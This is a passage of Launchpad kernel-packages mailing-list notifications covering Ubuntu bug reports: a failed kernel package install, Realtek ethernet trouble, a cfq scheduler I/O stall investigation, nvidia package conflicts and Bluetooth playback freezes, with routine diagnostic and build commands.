[0.122431] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.122447] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122460] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122473] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.122573] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122586] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122598] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124013] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124110] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124123] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124136] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124148] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124242] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124255] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124268] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124283] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124376] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124389] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124401] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124414] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124509] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124522] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124535] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124547] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124640] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124655] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124668] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124681] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124773] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124786] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124799] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124815] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124911] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124924] ACP
[Kernel-packages] [Bug 1784261] [NEW] package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot
You have been subscribed to a public bug: partial install ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-43.48~16.04.1-generic 4.13.16 Uname: Linux 4.13.0-43-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Sun Jul 29 21:26:51 2018 DuplicateSignature: package:linux-image-4.13.0-38-generic:4.13.0-38.43~16.04.1 Processing triggers for ureadahead (0.100.0-19) ... dpkg: error processing package linux-image-4.13.0-36-generic (--configure): package linux-image-4.13.0-36-generic is not ready for configuration ErrorMessage: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2018-04-20 (100 days ago) InstallationMedia: Ubuntu-GNOME 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.27 SourcePackage: linux-hwe Title: package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: linux (Ubuntu) Importance: Medium Status: Incomplete ** Tags: amd64 apport-package xenial -- package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') https://bugs.launchpad.net/bugs/1784261 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784542] Re: Realtek ethernet not functional on 4.15.0-29.31
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784542 Title: Realtek ethernet not functional on 4.15.0-29.31 Status in linux package in Ubuntu: Incomplete Bug description: When using ethernet (Realtek RTL8111/8168/8411 using built-in r8169 driver v2.3LK-NAPI), dhclient stuck at DHCPDISCOVER. When using static IP, nm shows it's connected, but I can't ping anywhere. This issue only shows up in 4.15.0-29.31. I tried the following versions without issue: 1) 4.18.0-041800rc7 2) 4.16.0-041600 3) 4.15.0-23 4) 4.15.0-20 No issue on wifi (Intel 7260 iwlwifi) and USB ethernet (Dell D3100 Dock). ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: daniel 1771 F pulseaudio /dev/snd/controlC0: daniel 1771 F pulseaudio CurrentDesktop: MATE Date: Tue Jul 31 14:42:31 2018 HibernationDevice: RESUME=UUID=efa14060-79a3-4f5d-99a5-9bb5f7e840d6 InstallationDate: Installed on 2018-07-08 (22 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. Inspiron 7537 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=/dev/mapper/ubuntu--mate--vg-root ro ipv6.disable=1 quiet splash i915.enable_psr=0 vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/31/2013 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 07PF9F dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA05:bd10/31/2013:svnDellInc.:pnInspiron7537:pvr:rvnDellInc.:rn07PF9F:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.family: Shark Bay ULT dmi.product.name: Inspiron 7537 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784542/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1709889] Re: Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time.
This bug was closed in january 2018. Are you sure this is the same issue
/ right ticket? I see that you have recently marked some other bug as a
duplicate of this one. maybe you can sync that one? If not please
state what is happening on 18.04 since in january it was believed that
this issue was fixed.
** Changed in: linux (Ubuntu)
Status: Invalid => New
** Changed in: linux (Ubuntu)
Importance: Critical => Undecided
** Changed in: linux (Ubuntu)
Assignee: Colin Ian King (colin-king) => (unassigned)
** Changed in: linux (Ubuntu Zesty)
Assignee: Colin Ian King (colin-king) => (unassigned)
** Changed in: ubuntu-power-systems
Status: Invalid => New
** Changed in: ubuntu-power-systems
Importance: Critical => Undecided
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1709889
Title:
Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to
adapter for a very long time.
Status in Linux:
Unknown
Status in The Ubuntu-power-systems project:
New
Status in linux package in Ubuntu:
New
Status in linux source package in Zesty:
Won't Fix
Bug description:
---Problem Description---
When running stress test, sometimes seeing IO hung in dmesg or seeing "Host
adapter abort request" error.
---Steps to Reproduce---
There are two ways to re-create the issues:
(1)running HTX, you will see IO timeout backtrace in dmesg in several hours
(2)running some IO test, then reboot system, repeat this two steps, it takes
long time to re-create the issue.
---uname output---
4.10.0-11-generic
The bulk of the effort for this issue is currently being worked in
MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133.
Ran an interesting test: Ran HTX until I started getting the "stall"
messages on the console, then shutdown HTX and examined the I/O
counters for the tested disks in sysfs:
root@bostonp15:~# for i in
/sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0;
do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done
0:2:2:0 0x5eba3d 0x5eba3d
0:2:3:0 0x773cc9 0x773cc9
0:2:4:0 0x782c61 0x782c61
0:2:5:0 0x5ca134 0x5ca134
root@bostonp15:~#
So, none of the disks showed any evidence of having lost an I/O. I
then restarted HTX and aside from having to manually restart one of
the disks, see no problems with the testing. It appears that what was
"hung" was purely in userland.
This does not absolve the kernel or aacraid driver from blame, but it
shows that the OS "believes" that it completed the I/O and thus
removed it from the queue. What we don't know is whether the OS truly
notified HTX about the completion, or if HTX (or userland libraries)
just failed to process the notification.
Tests are running again, will see what happens next.
Update from JIRA:
I have run some more experiments. Not sure what it tells us, but
here's what I've seen.
First test, ran until I got kernel messages about stalled tasks, then
shutdown HTX. After HTX was down, I checked the above mentioned
counters and found that on each disk iorequest_cnt matched iodone_cnt.
The disks were usable and I could restart HTX. This suggests that the
problem is not in the PM8069 firmware, and makes the case for the
aacraid driver having a bug somewhat weaker. However, this merely says
that the driver "completed" the I/O as far as the kernel is concerned,
not that a completion rippled back to the application.
I restarted HTX and have run until errors. This time, I am leaving HTX
running and observing. Two of the disks reached the HTX error
threshold and the testers stopped (those 2 disks are now idle).
Another disks saw errors but then stopped and appears to be running
fine now. The last disk has not seen any errors (yet). On the two idle
(errored-out) disks I see iorequest_cnt matches iodone_cnt. I am able
to "terminate and restart" the two idle disks and HTX appears to be
testing them again "normally". Note that no reboot was required,
further supporting the evidence that, as far as the kernel is
concerned, there is nothing wrong with the disks and their I/O paths.
So, I don't believe this completely eliminates aacraid from the
picture, especially given we don't see this behavior on other
systems/drivers. But, it probably moves the focus of the investigation
away form the adapter firmware.
Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs.
Both Ubuntu 4.10 and upstream 4.11 have aacraid driver
1.2.1[50792]-custom.
Good new/bad news... While doing an initial evaluation of the LSI-3008
SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem.
So, it appears to have nothing specific to do with the PM8069 or
aacraid driver.
Some notes on reproduce this. I have been using the github release of
HTX, bu
[Kernel-packages] [Bug 1709889] Re: Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time.
For now reopening the states of this issue in launchpad as NEW and
UNDECIDED priority.
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1709889
Title:
Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to
adapter for a very long time.
Status in Linux:
Unknown
Status in The Ubuntu-power-systems project:
New
Status in linux package in Ubuntu:
New
Status in linux source package in Zesty:
Won't Fix
Bug description:
---Problem Description---
When running stress test, sometimes seeing IO hung in dmesg or seeing "Host
adapter abort request" error.
---Steps to Reproduce---
There are two ways to re-create the issues:
(1)running HTX, you will see IO timeout backtrace in dmesg in several hours
(2)running some IO test, then reboot system, repeat this two steps, it takes
long time to re-create the issue.
---uname output---
4.10.0-11-generic
The bulk of the effort for this issue is currently being worked in
MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133.
Ran an interesting test: Ran HTX until I started getting the "stall"
messages on the console, then shutdown HTX and examined the I/O
counters for the tested disks in sysfs:
root@bostonp15:~# for i in
/sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0;
do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done
0:2:2:0 0x5eba3d 0x5eba3d
0:2:3:0 0x773cc9 0x773cc9
0:2:4:0 0x782c61 0x782c61
0:2:5:0 0x5ca134 0x5ca134
root@bostonp15:~#
So, none of the disks showed any evidence of having lost an I/O. I
then restarted HTX and aside from having to manually restart one of
the disks, see no problems with the testing. It appears that what was
"hung" was purely in userland.
This does not absolve the kernel or aacraid driver from blame, but it
shows that the OS "believes" that it completed the I/O and thus
removed it from the queue. What we don't know is whether the OS truly
notified HTX about the completion, or if HTX (or userland libraries)
just failed to process the notification.
Tests are running again, will see what happens next.
Update from JIRA:
I have run some more experiments. Not sure what it tells us, but
here's what I've seen.
First test, ran until I got kernel messages about stalled tasks, then
shutdown HTX. After HTX was down, I checked the above mentioned
counters and found that on each disk iorequest_cnt matched iodone_cnt.
The disks were usable and I could restart HTX. This suggests that the
problem is not in the PM8069 firmware, and makes the case for the
aacraid driver having a bug somewhat weaker. However, this merely says
that the driver "completed" the I/O as far as the kernel is concerned,
not that a completion rippled back to the application.
I restarted HTX and have run until errors. This time, I am leaving HTX
running and observing. Two of the disks reached the HTX error
threshold and the testers stopped (those 2 disks are now idle).
Another disks saw errors but then stopped and appears to be running
fine now. The last disk has not seen any errors (yet). On the two idle
(errored-out) disks I see iorequest_cnt matches iodone_cnt. I am able
to "terminate and restart" the two idle disks and HTX appears to be
testing them again "normally". Note that no reboot was required,
further supporting the evidence that, as far as the kernel is
concerned, there is nothing wrong with the disks and their I/O paths.
So, I don't believe this completely eliminates aacraid from the
picture, especially given we don't see this behavior on other
systems/drivers. But, it probably moves the focus of the investigation
away form the adapter firmware.
Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs.
Both Ubuntu 4.10 and upstream 4.11 have aacraid driver
1.2.1[50792]-custom.
Good new/bad news... While doing an initial evaluation of the LSI-3008
SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem.
So, it appears to have nothing specific to do with the PM8069 or
aacraid driver.
Some notes on reproduce this. I have been using the github release of
HTX, built using the following steps:
1. apt install make gcc g++ git libncurses5-dev libcxl-dev libdapl-dev
(others may be required)
2. git clone https://github.com/open-power/HTX
3. cd HTX
4. make
5. make deb
Then install the resulting "htxubuntu.deb" package.
Note, HTX will not test disks that have a filesystem or OS installed,
so there must be at least two disks made available to HTX by clearing
any previous data. A partition table is optional, in my testing I have
none.
Also, it may be desirable to run HTX somewhere other than the console,
leaving the console free to watch for messages.
To run:
A. su - htx (this may take some time)
B.
[Kernel-packages] [Bug 1784688] [NEW] package nvidia-kernel-common-390 390.48-0ubuntu3 failed to install/upgrade: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie
Public bug reported: After upgrade form 16.04 this bug starts to comming out ProblemType: Package DistroRelease: Ubuntu 18.04 Package: nvidia-kernel-common-390 390.48-0ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Tue Jul 31 10:54:36 2018 Dependencies: ErrorMessage: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie nvidia-384 384.130-0ubuntu0.16.04.1 InstallationDate: Installed on 2017-02-19 (527 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: nvidia-graphics-drivers-390 Title: package nvidia-kernel-common-390 390.48-0ubuntu3 failed to install/upgrade: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie nvidia-384 384.130-0ubuntu0.16.04.1 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: nvidia-graphics-drivers-390 (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package bionic -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1784688 Title: package nvidia-kernel-common-390 390.48-0ubuntu3 failed to install/upgrade: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie nvidia-384 384.130-0ubuntu0.16.04.1 Status in nvidia-graphics-drivers-390 package in Ubuntu: New Bug description: After upgrade form 16.04 this bug starts to comming out ProblemType: Package DistroRelease: Ubuntu 18.04 Package: nvidia-kernel-common-390 390.48-0ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Tue Jul 31 10:54:36 2018 Dependencies: ErrorMessage: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie nvidia-384 384.130-0ubuntu0.16.04.1 InstallationDate: Installed on 2017-02-19 (527 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: nvidia-graphics-drivers-390 Title: package nvidia-kernel-common-390 390.48-0ubuntu3 failed to install/upgrade: próba nadpisania "/lib/udev/rules.d/71-nvidia.rules", który istnieje także w pakiecie nvidia-384 384.130-0ubuntu0.16.04.1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1784688/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1589008] Re: Bluetooth freezing video playback In Ubuntu/Kubuntu 16.04
In case it helps anyone else on *buntu systems: sudo apt-get install libcap-dev sudo apt-get install libsndfile-dev Warning: UDEV & SPEEX not enabled: ./configure --enable-udev --enable-speex didn't work for me. See https://gitlab.freedesktop.org/pulseaudio/pulseaudio/issues/28 and comment 4 here: https://www.linuxquestions.org/questions/linux-software-2/audio-problems-pulseaudio-installation-938130/ ./configure --enable-speex make sudo make install pulseaudio --version -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1589008 Title: Bluetooth freezing video playback In Ubuntu/Kubuntu 16.04 Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: Confirmed Bug description: In 16.04 when a bluetooth audio device is connected it freezes video playback and also no sound comes from online audio only streams. Issue does not exist with a wired headset. This issue does not exist with 15.10. All updates have been installed on 16.04 including backports but they have not fixed the issue. It is not browser specific and not website specific. It is not hardware specific as it affects my laptop with an intel 7260 card and my pc with an intel 8260 card. The issue exists on both ubuntu and kubuntu 16.04. I have reported it on the ubuntu support forums and after investigation a moderator noticed changed in the kernel from 4.4 and 4.2 that may becausing the issue and asked me to file a bug report. The ubuntu forum thread can be found here. http://ubuntuforums.org/showthread.php?t=2326672 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-23-generic 4.4.0-23.41 ProcVersionSignature: Ubuntu 4.4.0-23.41-generic 4.4.10 Uname: Linux 4.4.0-23-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: stephen1435 F pulseaudio /dev/snd/controlC0: stephen1435 F pulseaudio CurrentDesktop: KDE Date: Fri Jun 3 23:50:00 2016 HibernationDevice: RESUME=UUID=78e7aefc-d517-4c58-836f-a90f0b6017c6 InstallationDate: Installed on 2016-05-06 (28 days ago) InstallationMedia: Kubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 8087:0a2b Intel Corp. Bus 001 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: MSI MS-7978 ProcFB: 0 EFI VGA ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-23-generic.efi.signed root=UUID=bccf2ca7-4e23-412a-ba10-7a3f915270dd ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-23-generic N/A linux-backports-modules-4.4.0-23-generic N/A linux-firmware1.157 SourcePackage: linux UpgradeStatus: Upgraded to xenial on 2016-06-03 (0 days ago) dmi.bios.date: 05/16/2016 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: C.60 dmi.board.asset.tag: Default string dmi.board.name: H170 GAMING M3 (MS-7978) dmi.board.vendor: MSI dmi.board.version: 2.0 dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: MSI dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrC.60:bd05/16/2016:svnMSI:pnMS-7978:pvr2.0:rvnMSI:rnH170GAMINGM3(MS-7978):rvr2.0:cvnMSI:ct3:cvr2.0: dmi.product.name: MS-7978 dmi.product.version: 2.0 dmi.sys.vendor: MSI To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1589008/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784585] Re: CPUs stall
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784585 Title: CPUs stall Status in linux package in Ubuntu: Incomplete Bug description: Frequently on boot system freezes. Investigation reveals both CPUs stall. Full log attached. It’s a pretty old laptop, but all else seems to work. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784585/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784164] Re: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784164 Title: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report Status in linux package in Ubuntu: Incomplete Bug description: I have issue when I insert sudo echo "options acerhdf kernelmode=1 interval=5 fanon=67000 fanoff=57000" > /etc/modprobe.d/acerhdf.conf and do modprobe acerhdf then i get in kern.log Jul 28 17:27:45 Andromeda kernel: [ 2309.098985] acerhdf: Acer Aspire One Fan driver, v.0.7.0 Jul 28 17:27:45 Andromeda kernel: [ 2309.099026] acerhdf: unknown (unsupported) BIOS version Acer/Aspire A315-51/V1.12, please report, abortin My kernel is 4.15.0-29-generic DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS" NAME="Ubuntu" VERSION="18.04.1 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.1 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/"; SUPPORT_URL="https://help.ubuntu.com/"; BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"; PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"; VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: scorpio2140 F...m pulseaudio /dev/snd/controlC0: scorpio2140 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=386b8b47-cf99-4d32-93be-81c9e8f047c7 InstallationDate: Installed on 2018-04-29 (89 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 0408:a030 Quanta Computer, Inc. Bus 001 Device 003: ID 04ca:3015 Lite-On Technology Corp. Bus 001 Device 002: ID 1bcf:0007 Sunplus Innovation Technology Inc. Optical Mouse Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Acer Aspire A315-51 Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=UUID=f387b68f-ea60-49f4-bc79-91e595f77675 ro quiet splash ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 04/30/2018 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.12 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Venusaur_KL dmi.board.vendor: SKL dmi.board.version: V1.12 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.12:bd04/30/2018:svnAcer:pnAspireA315-51:pvrV1.12:rvnSKL:rnVenusaur_KL:rvrV1.12:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: Aspire 3 dmi.product.name: Aspire A315-51 dmi.product.version: V1.12 dmi.sys.vendor: Acer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784164/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784659] Re: P9 PMU Events Update #5
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: New => Triaged ** Tags added: kernel-da-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784659 Title: P9 PMU Events Update #5 Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: Triaged Bug description: == Comment: #0 - Sukadev Bhattiprolu - 2018-03-13 18:08:25 == ---Problem Description--- There has been some updates to the P9 PMU events list (some events dropped, some events changed linux category). We need to make corresponding updates to the PMU event JSON files in the Linux perf. Submitted a pull request https://lkml.org/lkml/2018/3/13/1428 with Subject line [GIT PULL] Please pull JSON files for POWR9 PMU events Userspace tool common name: perf Userspace rpm: linux-tools The userspace tool has the following bit modes: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1784659/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages 